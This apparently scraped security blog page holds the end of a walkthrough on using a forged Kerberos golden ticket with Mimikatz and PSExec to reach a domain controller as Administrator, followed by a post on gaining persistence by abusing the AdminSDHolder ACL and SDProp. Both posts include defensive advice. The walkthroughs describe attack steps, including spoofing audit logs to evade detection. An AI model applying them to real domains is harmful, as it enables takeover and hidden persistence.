Step 3 – Pass the Ticket

Now that you have generated a golden ticket, it is time to use it. In the previous Mimikatz command I used the ptT trigger to load the golden ticket into the current session. Next, I will launch a command prompt under the context of that ticket using the misc::cmd command.

You can see in the command prompt I am still operating as a regular domain user with no domain group membership, which also means I should have no rights to any other domain computers. Displaying the group membership and user information for the current user, showing that the user has no Active Directory domain privileges

However, because the Kerberos ticket is in memory, I can connect to a domain controller and gain access to all of the files stored there. Using Mimikatz ptt to load the golden ticket into the session, impersonate an admin user, and use pushd to access a DC since the Kerberos ticket is in memory

You can also see if I use PSExec I can open a session on the target domain controller, and according to that session I am logged in as the Administrative user now. Using Mimikatz pass-the-ticket to load the ticket and PSExec to open a session on the DC where the user will be logged on as an admin due to the RID of 500

It believes I am the administrator due to the RID of 500 I used to generate my golden ticket.  Also, when looking at the event logs of the domain controller, I will see that it believes I am the Administrator but my account name is the one I spoofed during the golden ticket creation: Logon event 4624 shows the golden ticket account data with the SID as administrator due to RID spoofing and the fake user account name

This can be particularly useful if you are looking to evade detection or create deceptive audit logs.

Protecting Yourself from Golden Tickets

Golden tickets are very difficult to detect, because they are perfectly valid TGTs. However, in most cases they are created with lifespans of 10 years or more, which far exceeds the default values in Active Directory for ticket duration. Unfortunately, event logs do not log the TGT timestamps in the authentication logs but other AD monitoring products are capable of doing so. If you do see that golden tickets are in use within your organization, you must reset the KRBTGT account twice, which may have other far-reaching consequences.

The most important protection against golden tickets is to restrict domain controller logon rights. There should be the absolute minimum number of Domain Admins, as well as members of other groups that provide logon rights to DCs such as Print and Server Operators. In addition, a tiered logon protocol should be used to prevent Domain Admins from logging on to servers and workstations where their password hashes can be dumped from memory and used to access a DC to extract the KRBTGT account hash.

This is the final installment in our blog series, 4 Service Account Attacks and How to Protect Against Them. To view the previous blogs, please click on the links below.

Service Account Attack #1 – Discovering Service Accounts without using Privileges
Service Account Attack #2 – Extracting Service Account Passwords with Kerberoasting
Service Account Attack #3 – Impersonating Service Accounts with Silver Tickets

Watch this video and sign up for the complete Active Directory Attacks Video Training Series here (CPE Credits offered).

email this digg reddit dzone
comments (0)references (0)

Complete Domain Compromise with Golden Tickets
Extracting Service Account Passwords with Kerberoasting
Severing the Horizontal Kill Chain: The Role of Micro-Segmentation in Your Virtualization Infrastructure
Auditing Privileged Operations and Mailbox Access in Office 365 Exchange Online

Persistence Using AdminSDHolder And SDProp

Tue, 03 Oct 2017 18:13:33 GMT

AD Permissions Attack #3: Persistence using AdminSDHolder and SDProp

Now that we’ve compromised privileged credentials by exploiting weak permissions, it’s time to make sure we don’t lose our foothold in the domain. That way, even if the accounts we’ve compromised are deleted, disabled, or have their passwords reset we can easily regain Domain Admin rights. To do so, we will be exploiting some of the internal workings of Active Directory that are intended to keep privileged accounts well-protected: AdminSDHolder and SDProp.

What is AdminSDHolder?

AdminSDHolder is a container that exists in every Active Directory domain for a special purpose. The Access Control List (ACL) of the AdminSDHolder object is used as a template to copy permissions to all “protected groups” in Active Directory and their members. Protected groups include privileged groups such as Domain Admins, Administrators, Enterprise Admins, and Schema Admins. This also includes other groups that give logon rights to domain controllers, which can be enough access to perpetrate attacks to compromise the domain. For a more complete listing of protected groups go here.

Active Directory will take the ACL of the AdminSDHolder object and apply it to all protected users and groups periodically, in an effort to make sure the access to these objects is secure. This works, in theory, because the default ACL for AdminSDHolder is very restrictive. However, if an attacker is able to manipulate the ACL for AdminSDHolder, then those permissions will automatically be applied to all protected objects. This will give an attacker a way to create persistent access to privileged accounts within the domain.

Here is an example of the AdminSDHolder ACL with a new user added to give that user account access to all protected objects: 

A modified AdminSDHolder ACL granting privileged access to an Active Directory domain user account

The AdminSDHolder permissions are pushed down to all protected objects by a process SDProp. This happens, by default, every 60 minutes but this interval can be changed by modifying a registry value. That means if an administrator sees an inappropriate permission on a protected object and removes it, within an hour those permissions will be put back in place by SDProp. This default setting can be frustrating and hard to track down if you don’t understand what’s happening.


Protected groups and their members are flagged in Active Directory using an attribute adminCount, which will be set to 1 for protected users and groups. By looking at all objects with adminCount set to 1, you will get an idea of how pervasive an attack against AdminSDHolder could be to your environment. This analysis can be done easily with PowerShell and an LDAP filter.

Using PowerShell and an LDAP filter to find Active Directory objects with adminCount=1 to see how extensive an attack against AdminSDHolder could be

One point to note is that once a user is removed from a privileged group, they still maintain the adminCount value of 1, but are no longer considered a protected object by Active Directory. That means the AdminSDHolder permissions will not be applied to them. However, they will likely have a version of the AdminSDHolder permissions still set because inheritance of their permissions will still be disabled as a remnant of when they were protected by the AdminSDHolder permissions. Therefore, it is still useful to look at these objects and, in most cases, to turn on inheritance of permissions.

Protecting Yourself from AdminSDHolder

Only users with administrative rights will be able to modify the AdminSDHolder permissions, so the easiest way to stop their abuse is to prevent compromise of administrative credentials. If an administrative account is compromised, it is important to have regular monitoring on the AdminSDHolder object permissions and alert on any changes made. These changes should never happen so any alert is worth immediately investigating and reverting.

Reporting on objects with an adminCount value of 1 is also important and making sure they are still intended to have administrative rights. If they are not, put them in the right location and ensure they are inheriting permissions.

In the next post, we will continue to explore Active Directory Permissions by looking at unconstrained delegation permissions.

Active Directory Permissions Attack #1 – Exploiting Weak Active Directory Permissions with PowerSploit Read Now
Active Directory Permissions Attack #2 – Attacking AD Permissions with Bloodhound Read Now
Active Directory Permissions Attack #4 – Unconstrained Delegation Permissions Read Now

Watch this video and sign up for the complete Active Directory Attacks Video Training Series here (CPE Credits offered).

email this digg reddit dzone
comments (0)references (0)

Live with Dell at RSA 2015
5 Indicators of Endpoint Evil
Auditing Privileged Operations and Mailbox Access in Office 365 Exchange Online
Live with LogRhythm at RSA

previous | next

powered by Bloget™


Recent Blogs


Additional Resources